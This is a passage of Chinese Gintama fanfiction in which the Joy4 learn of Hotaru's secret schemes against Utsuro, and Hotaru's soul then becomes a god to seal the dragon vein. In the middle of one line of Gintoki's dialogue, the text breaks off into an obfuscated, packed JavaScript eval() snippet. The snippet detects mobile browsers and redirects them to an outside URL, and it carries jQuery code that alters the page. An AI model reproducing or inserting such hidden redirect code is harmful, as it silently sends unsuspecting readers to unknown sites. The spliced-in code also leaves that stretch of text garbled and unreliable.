良子听完后,笑着抬手拍了拍休眠仓的玻璃罩,直视这几个灵魂本质跟她记忆中基本没变过的男人。 “阿萤没有选择你们,也不会选择那个虚,她选择了人类。她说过,普通人的人生基本都掌握在上位者手中,但是地球和自身存亡面前,所有活在地球的人类都有权利为了自己的人生和未来而战斗,她也不例外。所以,她选择了人类,作为人而战斗。” 一直安静听着的桂哼哼哼笑了起来,抱着手骄傲地抬头看向自己的伙伴。 “没错,我们阿萤才不是那种小格局的女人。她一直想要做的,不是阻止我们做什么,而是以她的方式改变这个让我们痛苦的时代,不再让我们面临两难的选择而已。其他都不过是借口,她就是瞄准了天空上的那些家伙,想要在我们攘夷的同时为人类争取更多主动权来应对地球之外的一切危机。无论前路是荆棘还是枯骨,都会以自己的意志笑着往前走,这就是她的武士道。哼哼,我们家乖宝也很傲娇的,嘴里不说,但她最在意大家……” 话未说完,高杉和银时提脚就踩了过去。 “这种事谁不知道啊?老子忍你很久了,别一副你才最了解她的样子!你也不过是她计划里的一环而已!” “那家伙什么性子要你来解释?明知道她的打算不管管就算了还帮着她干混事!把阿银拖到秋叶原就是为了怕她干的蠢事提前被发现是吧?” “太过分了,你们明明知道她的用意还这样……” “闭嘴,不然老子的火要往你身上撒吗?成全你啊混蛋!” “你两个凑一起便有闯不完的祸!你帮她瞒着在宇宙乱来的事老子还没算!假发你是白痴吗?放她一个算计全宇宙什么的……你以为她是一拳能打爆月球的那个光头男吗?” “不……我们是为了人类大业……”桂顶着一头的鲜血,挣扎着爬出混斗圈,带血的手伸向休眠仓,一脸坚定地朝良子要求道,“不,不行,我的血……不能浪费……麻烦给我收集一下留给阿萤……” “她才不需要这种脑残的血!” “别再想把她的脑子拉低到你的水平线啊混蛋!” 面容陷入一片阴影的银时和高杉两人慢慢地伸手抓着桂的脚,把他拖了回去继续。 “假发,不是我说,你和阿月就别搞什么阴谋了,命苦都是我们好吧。”辰马看着打成一团的三人,觉得自己太冤种,光是劝架他已经疲于奔命了,还得收拾这些烂摊子。 “不是假发,是桂!”桂才觉得冤呢,他和阿萤明明就为了人类大业而奋斗,这些人肯定是无法理解他们的境界才会误解他们。 哼,只有阿萤与他共鸣,他们是血液相连的家人! 77.真正开拓未来的人 Joy4习以为常地混斗成一团,滚滚烟尘中只能偶尔看到桂惨不忍睹的脸和辰马挨打吃痛的蠢样。 “他们……都这样的吗?”胧对这些师弟的相处方式很疑惑。 “啊……习惯就好。”神乐和新八死鱼眼看着混乱的一切,完全没有劝架的想法。 直到桂和辰马手脚扭曲地倒在地上,那两个人才揉着拳头拍拍手。 “所以呢,她作为人类……做了什么?” 打闹过了,那口怨气才散了些,银时看向良子,声调仍有些余怒的低冷。 良子利落打开半空的屏幕,把一些资料调取出来。 “借着第七师团的名头,阿萤带着我们混入春雨,在跟随虚消灭那些星球上的阿尔塔纳期间,我们收集了不同星球的晶石,也尝试把零散的能量进行归集利用,研发出能跟宇宙联军对战的武器。当然,同时我们也撤离了那些星球的人。那些星球的阿尔塔纳本身就在暴动,哪怕我们什么都不做,也会毁灭。” 这段期间,他们利用收集的能量制成了威力较大的武器,就像之前救他们的那个阿姆斯特朗炮。但这种能量越大的话使用的间隔就越大,只能抓取时机慎重使用。他们起初最大的目标,是制作可以保护地球撑住宇宙战舰攻击的防护盾。 “现在虚掀起的战争已经开始了,地球被阿尔塔纳大军包围,不过因为之前凶残又狡猾的地球人确实救过那些星球的人的命,所以现在进入地球的大军大部分还算客气,没有太多伤亡。但宇宙的情况不太妙……虚本来想要除掉我们,还好……阿萤之前就突发奇想让我研究利用这些零散的能量进行空间定点迁跃,她身上就有定位器,我们才能在围剿中脱身,赶到她身边。” 本来是准备最后闯不过宇宙联军阵线回地球时用的,不过能救下这群人也算是为地球保留绝对战斗力了。 看了一眼那边沉默着却掩不去那身肃杀气势的胧,良子润了润唇,有点胆怯。 “那个……阿萤还把虚的血带给我们,让我们研发能对付这些接受过虚不死止血的人的血清……黑子刚才也抓了几个奈落……我们晚点会进行实体试验……” 如果说之前那些都是惊讶,那听到最后众人难得同调地抽了抽嘴角,震惊得连表情都失控。连敌人背后的底牌都毫不犹豫地翻开,他们顿时觉得自己拼死拼活地盲打都有点不够看。 这个女人也太可怕了吧! 胧也难掩惊诧,他从没想过接受过这种不死之血后还可以改变。这家伙……她什么时候开始打这些主意?虚大人他知道这事吗? “阿萤的想法,我们也只是……研究一下而已,啊哈哈,我们是科研人员嘛,目前还没有实质性的突破。但很快,一定能克制的!” 那些人的眼神太恐怖了,良子不自觉甩锅,暗暗对昏迷中的人说了句抱歉。 “这混蛋……还是去勾搭人妖算了,搞这些太累人。” 目瞪口呆了好一会,坂田银时无力捂脸,他宁愿去摆平那些肌肉人妖。 跟他们相比,这才是真正的恐怖分子,要不不做正事,要不就做宇宙级的混事……连那些血都敢动手……难怪那个人会对她下杀令。 坂田银时开始反省自己是不是太忽略她的思想教育,这家伙回来后常去酒馆玩乐,平日还被他刻意拉进一堆奇奇怪怪的委托里,她是怎么在他眼皮子下干这么多混事? 他错了,他就不该让她自己找点事干!那笨蛋去勾搭一下人妖调戏一下游女而已,多么平庸的消遣,他怎么就嘴贱反对了呢! 比起银时的反省,高杉只想叹气。他不禁庆幸虚灭掉天道众主力,不然要杀她的人只怕更多。 这混蛋……也太为难他们这些收拾烂摊子的人了吧。 比起他们的无语,桂倒是一脸骄傲地点头。在他忙碌于地球的时候,他的最佳盟友已经在宇宙为地球消除后患而奋战,跟小伙伴一起夺取黎明的感觉太热血了。 高杉和银时瞥了眼他两眼全是星星发光嘴角带笑的表情,拳头都暴起青筋——这两个人就不应该同时存在! 坂本辰马算是这群人里最早参与的成员,对这些消息的接受度比较高。实际上,他一直觉得离开了这三个保护者,阿萤才会认真动脑子,智商和实力都会疯狂上涨。但辰马也很清楚,无论是阿萤自己还是这三个强悍的伙伴,或许包括他本人,都不想,也不需要她去谋算这些。 比起算计这些,辰马更喜欢看阿萤跟他一起算钱时双眼都是金钱符号的灿烂笑容。 推了推墨镜,坂本辰马极快地做出决定。 “陆奥他们也过来了,我们向地球进发吧。比起战争,我还是想要跟阿尔塔纳大军谈判一下,争取不开战也能解决的途径。阿月跟我合作,不就是为了这个可能性吗?” 扬了扬手,辰马比了个拿捏的姿势,“啊哈哈,啊哈哈哈,我和阿月这段时间可是收集了不少阿尔塔纳大军那些领导的八卦消息,打算知己知彼。例如有个好战派不但拥有号称宇宙最强的武器,还有NTR的XP,害死兄长霸占嫂子……” 大家不约而同看向桂。 桂不满了,双手抱胸怒道,“少瞧不起人了,我虽然喜欢NTR,但我不屑杀掉丈夫的!没有了丈夫的话那就不是……” “没人想要知道这个!”众人再次异口同声,不屑脸。 能为这场战争出力,新八也有些激动。他看了眼银时,问了个最实际的问题,“可是,我们怎么跟对方的领导联系?” “你们的小师妹信女已经通过地球政府向联军发起诉求,我们不是有位贵客在快临丸做客吗?是时候出点船票了,那位将军大人~”辰马满不在乎地道。 一桥喜喜之前被春雨坑到了宇宙,还想对他们动手,来烙阳路上他们随便出手便解决掉。现在人还在快援队的船中,高傲的嘴脸已经快维持不了。但不得不说,这样子的他反而有点一国将军的样子。 今井信女之前已经联系过,她在地球已跟松平片栗虎合作,暂时统一了政府,行事可以配合。 “我们会想办法回到地球大气层,因为我们是最后防线,快援队会掩护我们。现在情况还不算差,但那个男人回去后就不一定了。”泽木简单地提醒道。 想起那些不死的奈落,还有那个强悍到让人身体不受控地颤栗的虚,所有人心下一沉。 “大人……他已经启程去地球了,他要亲手毁灭一切,也需要回龙脉恢复被打伤的身体。”胧已经知道星海坊主跟虚之间的战斗,对他的状况也有一点了解,“他的力量源自龙脉,在那里他会更强。” “那么,我们回去吧,回去我们的地球,好好清扫一下啊鲁。”神乐知道那些大军再怎么客气也会破坏,忍不住摩拳擦掌。那是她的家,不许那些人砸坏了。 众人都认同地点头,决意回去地球再战。 银时和高杉,桂三人看着休眠仓里头他们的笨蛋家人,无奈叹笑。 “其实,现在的防护盾不一定能赢,对方主力的天鸟船上据说有宇宙最强的兵器,但阿萤说她回到地球就会有办法。”良子想了想,还是把这事也说了。 说实话,复述一遍阿萤做的事后,她有点后怕,做的时候也没觉得这么恐怖。现在,良子总觉得这个疯狂的女人还有连他们都不知道的后招。 能坦白的良子都说了,将来真要被自己人揍但求能坦白从宽。 “呵,果然是个恐怖分子,以前怎么会觉得她是弱鸡?”坂田银时垂眸看着她,伸出手敲了敲玻璃罩。 真是头疼,他身边的笨蛋恐怖分子怎么就那么多呢……偏偏最恐怖的那个看起来还最无害,一副时刻需要人护着的蠢样,让他总是忽略她的实力,想要把她留在身边护着。 攘夷时期起,不,在村塾时开始,他们就想要保护她和老师……大概因为都没做到,他们才会固执地认为还活在他们身边的阿萤是个需要保护的存在。 不同于老师的强大,她那点子剑术还是他们教的呢,也就只比其他人强一点点而已。而且,她跟他们这些满身泥泞的人完全不一样,如她所说,生长于阳光之下,骨血皆以爱养育的她,灵魂干净纯粹,坚韧而乐观,是在他们的黑暗生命中也能发亮的萤火虫,是他们一直想要保护的光。 现在想想,也不知道他们是怎么坚定这种想法的,这混蛋自己打了把伞就在外头撒欢直面风雨了。 什么保护她……明明从村塾时候起就是他们一直都被她保护着,真是个让男人挫败的女人啊。 坂田银时不得不承认,她不是光保护就足够的女人。心比他们狠,胆子比他们大,行事比他们激进……她需要的,是保护者,是并肩前行的战友,是一起着眼未来的同伴,当然还有给她善后的监护人。 这样看来,他们确实还远远不足啊。 “果然是看起来最弱的人其实最恐怖吗?”银时想起她日常懒散的样子,失笑地叹道。 “别犯傻了,她恐怖的是脑残,不是实力。”高杉哼了声,中肯地道。 “这样说的话,阿萤要打过来的哦。”桂忍俊不禁地摇摇头,无论他们怎么说她是弱鸡,她始终坚信自己的水平,从不质疑自己。 “她还有脸打过来?想想自己搞的烂摊子吧,她可是招惹了一个宇宙的风流债。”银时想起那一堆在地球外头排队的战舰就烦躁得揪头发——这女人不仅想要当海王,还是要当宇宙海王的节奏啊。 “哈哈哈哈,不愧是我家乖宝~”桂莫名地感到骄傲。 “就不应该让她到宇宙鬼混。”银时忿忿地拍了一记玻璃罩。 Joy3互看一眼,不约而同地转头怒指着辰马,“都怪你!” 辰马哈哈哈地笑着闪开他们丢过来的拐杖等东西。 高杉没好气地哼了声,忽然沉静下来,“她说……不会再让我们面临那种选择……这个蠢货,也许还在打其他主意,对虚,也对我们……” 如今的高杉可不会再单纯地觉得她说的不再让他们面临选择是句豪言。 “当然了,拯救人类什么的,她才不是这么热血的笨蛋,目标只可能是我们。但……怎么能再让她乱来,这一切……本来就不该让她承担。”银时垂眸看着那张安静平和的面容,沉声道,“真正杀死松阳的也许是虚,但动手的却是我,而让虚有机可乘觉醒的,绝对是我们这些松阳的弟子们。就连当年参加攘夷战争,也是我们违背老师意愿而为。” 她已经被他们拉进过地狱一次了,好不容易再次活在阳光之下,笑容毫无阴霾,怎么能让她再一次踏入这些事里?对银时来说,月见萤只需要坐在酒馆跟老太婆撒娇,跟猫耳娘讨论狗血晨间剧,对机器人女仆保持乐趣就足够了。 “这个烂摊子,本来就应该由我们自己收拾。当年,松阳他可是对我说了谢谢的……”银时提起往昔依然沉痛,但他,他们都没懦弱到想要把她牵扯进来。 顿了一下,他嗤笑出声,“这么一想,她要是能睡到所有事情完结之后也不错。” 高杉没说话,他难得认同死对头的话。他们不怕应付千军万马,却唯独料不到她会疯狂的点。 桂看着他们,轻笑一声,有些头疼,“要是真那么听话,就不是我们家的乖宝了。而且,阿萤不仅仅是为了我们。就算不是她初衷和目标,她也做不到放任人类受难,她想要保护的,还有很多人。” 口口声声说着要当人类公敌的笨蛋,却千方百计地找寻能保全人类的办法,甚至她所做的一切不过是为了让人类团结起来对抗天人,夺回人类对地球的自主权,从而开创一个人类共建的新时代。也许目标从来都是为了他们几个,但她也无法对人类的危机视而不见。 还说别人傲娇,明明自己也是呢。嘴硬这点,大概是他们村塾众人的标配了。 “老师也许早就知道了会变成这样,自己体内的怪物迟早会吞噬自己,甚至会吞噬整个地球……”桂看着自己的伙伴和家人,语带感慨,“为了抗争这种命运,他创立了松下村塾,成就了我们,他收留阿萤的时候,可是完全没有犹豫哦……他一定早就料到了。” “他曾说过,阿萤是他留在未来最后的希望……” 高杉一开始觉得这句话就是老师清楚他们会分道扬镳,希望阿萤成为他们再次凝聚起来的纽带,老师知道他们都无法放下她不管。但现在看来……只怕老师早就看出这家伙真正恐怖分子的本质,无论是攘夷还是毁灭世界,她都能笑着地往前走出自己想要的路。 “阿萤也说,我们是老师为开拓新时代留下的火种,她和老师的想法一直都是相近的。” 桂看了眼两个伙伴,笑了笑,眸中一片清明。于他来说知晓这一切昔年的事已然释怀,更庆幸自己从没辜负过老师的期望。 “银时,当年老师那句谢谢,是对哪怕踏过恩师尸骸也要保护松下村塾,保护他留下的希望的那个坂田银时……但,老师留下的希望,并不仅仅是你一人。我跟阿萤一样,不会让你再面临那种选择。” 当年的选择让挚友痛苦那么多年,也让他们分离多年,如今能再次聚在一起,桂绝对不会让当年的遗憾重来。 “哼,少把所有功劳和罪孽都往自己身上揽了,”高杉看向那个自己恨了十年,却也愧疚了十年的伙伴,“你死不死随意,但别指望我会让你再砍老师一次……别说阿萤不会让你这样做,废了那么多年,你那把木刀已经不能用来杀人了吧。” 银时低头看着那张安静的蠢脸良久,才把所有情绪收于眸底,没好气地嗤了声,眨着死鱼眼,“假发这种习惯说场面话的就算了,某个中二小少爷睡眠充足了,漂亮话也会说了是吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415755|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 眼神可以杀人的话,高杉已经把这个银发天然卷杀好几次了。只是他不愿意应了那句在她坟前打一场的话……麻蛋,这船的休眠仓也TM的太像棺材了吧! “啊哈哈,你们别争了。” 辰马认命地插了进来,长手搭着他们的肩膀。 回头看了眼候在门口那边的神乐和新八等人,又看了看那边良子泽木为首的同伴们,辰马的笑容慢慢灿烂起来。 “假发和晋助说得没错,你们老师留下的希望不仅仅是你,银时……因为阿萤和她身后铃跟良子等人的努力,现在地球的未来已经算乐观。也因为有你一直以来的抗争,才有了万事屋的新希望,进而有了我们这些人……不仅仅是这里的人们,地球还有很多跟我们一样会奋起抗争的人们。这些都是地球的希望……我们的家乡,我们的星球,我们的未来,所有人类会一起保护。” 人类是群居的生物,在面对共同的危机时,会团结一致地抗争。他们一开始,不就是为了让人类放弃内斗面对这种共同的危机,才会做这些事么。 每一个人类,都有权利为了自己的未来,为了自己的家乡,努力奋战,无论以哪种方式。 “确实,希望……早已经不是一两个了,老师教出来的光,银光也好,萤光也罢,早已燎原。”桂叹笑,开创新时代的重担,已经不再落在一两个人身上了。 他们是大将,但他们每一个人身后,都有同样为了人类未来而战斗的伙伴,那些都是新的希望。而地球上,还有更多普通人为了自己的家乡和国家而奋起,那些也是地球的希望,是人类的无名英雄。 “保护全人类……这种事光靠她下辈子也做不完啊……阿银可不想下辈子还得跟你们这群恐怖分子混一起。”银时叹口气,这种白痴他这辈子就看够了。 只要此生足够长,看着这群白痴变成路都走不动的老白痴也不错。 “哈,阿萤可是不信下辈子什么的,我们活够这辈子的份已经很厉害了。”桂想起了之前重来一次那个约定,抱着手笑了笑。 对于他们来说,这辈子能相遇已经是奇迹,能把这些孽缘延续至今生终结之时,人生已无憾。 “啊啊,别说这些了。赶紧回去打扫卫生吧,把那些不是地球的东西全丢出去……然后把她带回家。” 没绑绷带的手搔了搔自己的卷发,银时打了个哈欠,懒散地道。 武士从来不会承诺做不到的事……所以答应过她的一切,怎么也必须做到才行。 桂等人对望一眼,不约而同地笑了起来。 “是啊,反正她就是醒了也是坑我们打扫。”桂对阿萤的性子还是很清楚的,笑着转身离开。 “走吧走吧,啊哈哈哈,坏小子们,回去我们的家乡地球再次爽快地大闹一场吧~”辰马爽朗的笑声不见惶恐,只有期待。 闻言,银时的手放在玻璃上,那过低的温度让他轻微不悦。指尖描绘那张面容,他低声道,“给老子等着,我们的账慢慢算。” 承诺过的事他难得大方答应双倍补给她,那她瞒着他干蠢事的债,自然也得双倍赔罪。想到她跟神威的约定,坂田银时阴恻恻地扯了扯唇,露出阴森的犬牙。 已有决断,剩下的就是行动了。 “高杉,你不跟我们一起?”桂边走边问。 高杉冷哼一声,“我可没打算跟笨蛋们一起行动。” 分开十年,他们早就在不同的路上了……如今虽然再次走在一起,但他自有自己的行事方式,而且他并非孤身一人,鬼兵队的人还在等着他。 桂耸了耸肩,也不勉强。这次是人类的合作,再怎么不同路也是殊途同归。 “你跟我走吧,这些蠢货你可忍不了。”经过胧的时候,高杉顿了一下,朝他偏了偏头。 胧看了他们一眼,无声地跟上。 坂田银时连头也不曾回,仿佛对这一切毫无兴趣。 看了眼背对着对方又开始非常明显地闹别扭的两个伙伴,桂无声地咧出一抹坏笑。 “辰马,我们也走吧,伊丽莎白他们在等着了。银时,怎样,你要上高杉的船吗?”快走出门口的桂忽然回过头,挑眉戏谑般问道。 好问题,辰马,桂和高杉哪怕是神威都是有自己船队的,就万事屋三人一狗独自打天下。 “啧,十年就混了条狗,我要是你确实该少说漂亮话。”高杉停下脚步,回头凉凉地道,眼底的嘲讽都要溢出那只幽绿的独眸。 “你以为你很好!你行的话幕府早倒了,十年了攘个夷都拖拖拉拉,战绩连我们万事屋都不如,有口碑全靠同行衬托!”如同应激反应,银时顿时也忘了两人的别扭,脸色不自然地红了一下,虚张声势地指着桂反驳。 “太过分了!银时,我可是很认真经营攘夷大业的!我跟阿萤已经把势力拓展到宇宙了!”其他的都可以,唯独事业这点桂不容许别人质疑。 “那是她的功劳好吧,学学人家,随随便便就挑了全宇宙啊!你们十年了连江户都没搞定。” 银时敲了敲玻璃罩,毫不掩饰对高杉和桂两人攘夷进度的鄙夷。他完全忘了一分钟前对阿萤所有行为的否定。 “可不是么。有人随随便便就名扬宇宙了,有人十年混下来资产就只多了条狗,啊不对,狗也不是属于你的吧……”高杉反讽得毫无压力,他记得那条狗的主人是那个夜兔小姑娘。 “别这样高杉,银时他穷是远近闻名的,你这样说很伤他的心。”桂意思意思地劝了句。 果然,最熟悉的人永远知道刀该往哪里捅最痛。 他们的话如同利箭纷纷刺进银时脆弱的心,气得他抡起拳头想要就这样把那个名扬宇宙的混蛋砸醒。 神乐和新八死鱼眼拖着自家社长,不知道怎样反驳这些残酷的事实。 “银酱,你还是努力些,让阿萤姐养你算了,不然我都不好意思说是跟着你混啊鲁。”神乐想起阿萤每次请客都是大手笔,还会送她可爱的中国服穿姐妹装,光是这样已经有点想跳槽了。 若是不跳槽的话……灵活的蓝眸转了转,打起自家社长的主意。要说富婆的话,阿萤姐怎么也比楼下老板娘更容易下口吧。 “就是……没有工资就算了,面子都没有就很可悲了。”新八推了推眼镜,很难不认同,“银桑,你不是签了卖身契吗?把我们也卖给阿萤姐吧,求你了。” 阿萤姐的话,一定会给他每个月准时发工资。 “卖我们就好,他的话有点坑阿萤姐啊鲁。”神乐实事求是地举手,“跟着影子杀手混,好像可以马上扬名宇宙了,万事屋的业务都可以拓展到宇宙啊鲁。” “少啰嗦啊!” 坂田银时气短地别过头,暗自决定,那家伙当年可是说过养他的,只有这个不能让她赖掉! 78.大战之时不要训话 ——人魂啊,请谨记你的使命,醒过来,去完成这个世界赋予你的责任吧。 ——人魂,你是被选中的孩子,这个世界就交给你了。 ——人魂…… ——人魂你有听到吗? 啰哩啰嗦又越来越暴躁的声音不断响起,我坚定地闭眼躺着不动。 ——赶紧起来去完成你的使命啊! 不要,我都要挂了,谁死了还管世界末不末日? ——你是被选中的孩子! 省省吧,你选的时候问过我了吗? ——可是,世界等着你! 拉倒吧,主角还在呢,没我他们一样可以拯救世界 ——不是,这是你的使命啊,你不怕世界毁灭吗? 以为我没看完这部动画就不知道剧情吗?能完结的动画哪个真会毁灭世界?安心吧,他们行的。 ——他们死掉你也不介意吗 主角肯定能活,不然作者会被寄刀片的。 ——不,也有去死的啊 …… 不管了,我好累……想要回家了。要不送我回去,要不闭嘴! 蓦地,一阵推力让我下意识走了两步,不得已张开眼。 漆黑一片的世界,连天地四周都分不清,我身上的白色浴衣是唯一的色彩。 “人魂。” 忽然一道声音在四边蔓延。 我打了个哈欠,懒懒地道,“有话出来说,不然我睡了。” 说着,我便要躺下。 “别别别,我现身就是了。”话音一落,眼前出现一个黑色的身影。凌乱的披肩黑发,黑色骚气十足的大风衣裹着倒三角的身材,硬朗的脸上架着墨镜。 “你是……”我意外地指着这个不应该出现的东西。 “没错,我就是这个世界的神明……” 他话没说完我便一脚踩过去,“神明你妹啊,你以为我就只看火X和海X王吗?三大民工漫我都看过的好吧,斩月大叔!” 大叔脸色一变,捂着脸,退后两步,“诶,不是,我不是死神那边的,我是这个世界的神明……” “啊,烦死了,这不是银他妈同人吗?现在都快结局了才来综一下吗?读者也不一定都喜欢综漫的,也有那种只想要看一个世界的人啊,你们这样随便打破次元壁有考虑过主角的感受吗?”我受不了地喊,烦躁得很。 老实说我都快困死了,不让我死还不让我睡吗? “不是,我就是兼个职……”大叔想要酷酷地摆个姿势增加说服力。 “什么都好,别挡道,要不送我回家,要不滚。”我切了一声,懒得理会他转身就想走。 “你真的要放弃这个世界吗?”大叔一把拉着我,急忙问。 放弃?我一个普通的柔弱女子,宇宙都挑战了,已经做了能做的了,剩下的看主角吧。Joy4可是厉害着呢,还有万事屋,作为主角他们肯定没问题。 “就算他们会死?” “不可能!”我记得分析贴说过银他妈是HE大团圆结局的,少见的群像结局集体露面的动漫。 “你没看过结局吧……” 忽然间,眼前出现巨大的屏幕,属于他们但没有我的故事飞快地展开。 看到所有人合力打倒大反派虚,虽然高杉重伤濒死但有胧的骨灰复活,我放下心头大石。 胧没了有点可惜,但他也算求仁得仁……我不负责任地想,暗暗对他说句抱歉。 “这不挺好的吗?”他们都活着就够了。 “还没完呢,人魂。”斩月大叔偏了偏头,让我继续看下去。 紧接着,万事屋解散,来到两年后……看到重新以松下村塾弟子的身份行事的银时找到了复活的松阳/虚宝宝,却又被天道宗余孽夺走虚的身体,他和高杉,桂再次集结去打boss。 “明知道自己赌运差就不要搞这种二选一啊白痴……”我实在忍不住吐槽。 坂田银时他哪来的自信可以赌赢? 如果这样打完也就算了,为什么,为什么高杉要把虚带入自己身体里?高杉和银时两人居然还有最后一战,轰轰烈烈死在他怀中是什么鬼?他们做那么多,松阳就只能活说几句话的时间?桂连跟他话别的机会都没有? 怒火从丹田翻涌而起,我气得按着人中,整个人都要抓狂了! 最后的HE结局里头,银时在酒馆没精打采,桂被嘲成了不能光明正大出现的亡灵?而高杉成为回忆,人死了还出现一个不知道是他还是不是他的宝宝? 我整个人都不好了! “搞什么鬼啊!”我一把扯着斩月大叔的领子狂摇,“凭什么我们家晋晋要死啊?那两个老男人搞出来的烂摊子,凭什么要我们银时承担一切?我们假发差哪了?奋斗多年好不容易夺取的黎明却不能走在阳光下?这算什么结局啊!” 坦白说,如果没有经历这一切,纯粹作为一个看官,我大概也会觉得结局不错。人人都有了出场机会,群像都有一个闪亮的高光,亡灵什么的也不过是玩梗罢了,最后万事屋三人奔向未来什么的挺美好……比起其他动漫那个饱受非议的配平结局已经算是能够载入动漫史册了。 但是!我经历了这一切,比起群像,比起所有人的未来,我更在意那几个男人的人生! 我不管没有我的世界他们的结局怎样,但是有我的世界,那些跟我结缘,爱护着我的人们,不能以这种方式杀青! 我认识的高杉晋助才不是懦弱得需要重生舍弃这些宝贵记忆的男人!他不是鬼兵队赎罪的安慰品! 先杀恩师,后杀挚友,还是灵魂契合得如同一体的挚友,坂田银时的人生往后再幸福也依然遗憾啊!结局的最后他能走向未来,不代表不痛,不代表能忘记这些瞬间啊。 那个笨蛋……那个笨蛋……他还不够努力吗?命运什么时候才能放过他?他连三十都没到,就必须承受比别人百年还要痛的苦难……他还不够努力吗?明明好不容易才稍微从十年前的绝望里走出来……为什么要他再一次经历这些? “这就是原来的结局。”斩月大叔被我扯得脸色发青,“快放手,神明快要挂了……要被你干掉了!” 我一把甩开他,气势汹汹地怒指,“赶紧的,给我改了!” 拖拖拉拉的男人们,一鼓作气不好吗?还要拖两年?有什么感情不能彻底杀掉boss后慢慢回家培养?赶紧完事回家喝酒啊蠢货! 怎么,现在的男人都那么喜欢养娃吗?龙脉是什么大地之母吗专给他们造孩子? “这一切,只有你能做到,人魂。” 斩月大叔咳了两下缓过气,再次深奥地道,“你是被选中的魂,能封印龙脉。但你太消极了,对这个世界毫无感情,只想着要离开。所以,命运让你亲历几段因缘,希望你能爱上这个世界的人们,喜欢这个世界,完成你的使命。” “不是,你们都那么自作主张地叫人过来去死的吗?” 我死鱼眼瞪着他,直把他看得心虚低头对手指。 “你是意外,是一切遗憾的转化,也是对你的恩赐。”他叹口气,没辙地摊手,“反正你都做了一些改变,也让他们的生命中出现了你这个变数,虽然现在看似没有偏离原本的轨道,但他们的人生已经有了你的痕迹,有些东西已经因你而改变了,你就自己把这一切收拾一下吧。” 这种态度真的让人无语,我气不过,怒吼,“你不是神明吗?这点小事都做不到?怎么上岗的?扣你业绩哦。” “我都说了是隔壁片场过来兼职的,工资那么低,谁爱干谁干啊!”斩月大叔不断被我逼迫,也受不了地叫道。 “哈,你不干我来!” 妈蛋的,男人和神明什么的,一个比一个不靠谱,还不如我自己来。 看着画面中只有跟新八神乐一起时才神采奕奕的银时,我心底有种莫名的酸楚。他应该活得更洒脱的,这个本性就松散的家伙,背负了那么多,却依然只有未来,只能不停步地往前走。 我希望他,以及他们,可以更幸福。不但拥有新的开始和未来,也可以偶尔回头看到一路陪伴的彼此,喜欢的时候约上知根知底的几人一起喝酒吐槽,对过去释怀,然后不再惧怕明天去面对所有挑战。不是仅仅因为别人的期待和爱而努力让自己前行,可以为了自己而活,不再只有噩梦,不需要逃避过去,也能坚定地往前走。 过去的时光明明那么美好,那是我在这个世界最想念的温暖,我一直想要回去的家,不应该因为结束太过痛苦而否定或者不敢想起。那段时光,是他们人生中很重要,也很值得记忆的岁月,不应该连梦都不敢梦到。 我那么喜欢的高杉和桂应该要活得好好的,在阳光之下,他们不应该被新时代抛弃,他们值得更好的人生。 我比喜欢还要再喜欢一点的坂田银时,那个连自己的命都不敢珍惜的笨蛋,应该更自在和满足,不但拥有将来,也不会惧怕过去。 还有那个给予我缘分开端的蠢男人松阳……和容忍我作乱也不过是因为知道我纯粹只想陪伴便妥协的反派虚,他们受了那么多苦也不过是想毁灭地球而已,甚至没有想要全宇宙陪葬啊——还不值得神明恩赐吗? 双手揪紧衣服,我叹了口气,朝斩月大叔笑道,“当神明的话,我有什么特权?” “你本身就是封印,可以开启连虚都不知道的封印阵法。如果你成为神明的话,龙脉会认你为主,这股力量可以跟你的灵魂对抗,你的身体会获得平衡。” 呵,这算什么,命运的补偿吗? “这么厉害?龙脉不是能源吗?科学就别搞玄学了吧。”我有点怀疑地斜睨着他。 “现代社会,要综合能力,单一技能走不长远的,神明也不能被人类社会抛弃啊。再说,科学的尽头不就是玄学么。”斩月大叔不负责任地摊手。 “那……神明怎么卸任?找到下一个替死鬼吗?”既然有意向,入职前当然要问清楚流程了,我可是专业的打工人,跟那些什么事都干的个体户不一样。 “什么替死鬼,是继承人!” 那就是咯……我斜睨着他脱口而出后心虚又别扭的表情,对他高冷的印象再次崩塌。神明什么的,大叔还是回去死神那边继续发光发热吧。 回想起那日被我绑起来的两人提醒我看到的画面,我无奈地笑了笑,“神明……可以这样恩赐一个人啊……好像也有点用。” 斩月大叔难得正经了点,看我的眼神有种悲悯信徒的温柔,“因为乖孩子,值得神明的偏爱。但我要提醒你,真正封印龙脉的话……原本是需要耗尽你的灵魂。成为神明的话,你就算灵魂耗尽也不会消失,但神明跟人类不同,人神的话,若没有神社供奉或者足够深刻的羁绊牵扯,很快就会被世间的生灵引路,归于天际。” 好玄乎,但听着好像还是我赚了啊……呵呵,还能活着,只是归于天际么……不知道天际跟宇宙有没有关联,我猜大概是神隐之类的吧,日本文化还挺喜欢这种。 “不重要了。”坐言起行,我伸了个懒腰,准备干活。 原本我就做过最坏打算,现在有一条新的出路已经是意外收获。 “拿上我的刀,把我送去地球龙脉那边吧。” “啊?为什么?你的身体不是在飞船吗?”斩月大叔不解。 “大叔,从飞船下去要一段时间,等我正常地回去什么都来不及了,over了。不是神明吗?瞬间转移都做不到吗?” 斩月大叔嘟囔着,“人魂真是麻烦……啊不对,你现在起是人神了。” 白光炽盛,瞬间包围了我。 下一秒失重感狂袭,我一下子跌坐在地上,身上已换上红色襦袢的白色和服。 及腰的墨黑长发散落在白色和服上,我难以置信地撩到手中扯了扯,真的是我的头发……这长度分明就是我来到这个世界最初的样子。 这难道是人神的福利吗?被生长女神抛弃的我头发一下子长了好多啊……神晃该多羡慕啊…… “定春!” 神乐心疼的叫声从远处传来,我回过神,丢开长发站起来看看四周。 银时和真选组等人在那边跟虚打得风云变色,众人夹击也没占太大优势。而这边定春被光球锁在龙脉半空,一群奈落准备围攻它。 “平息了暴动呢,不愧是守护龙脉的狛神。可惜……我需要这东西再暴动一下,抱歉,定春。” 我抽出良子为我打造的太刀,一个箭步滑铲过去,手起刀落干掉这边的奈落,非常有先见之明地把他们的头踢到龙脉的深渊里。 伸出手,我把定春召唤回来,“辛苦了,定春,现在还不行哦。” 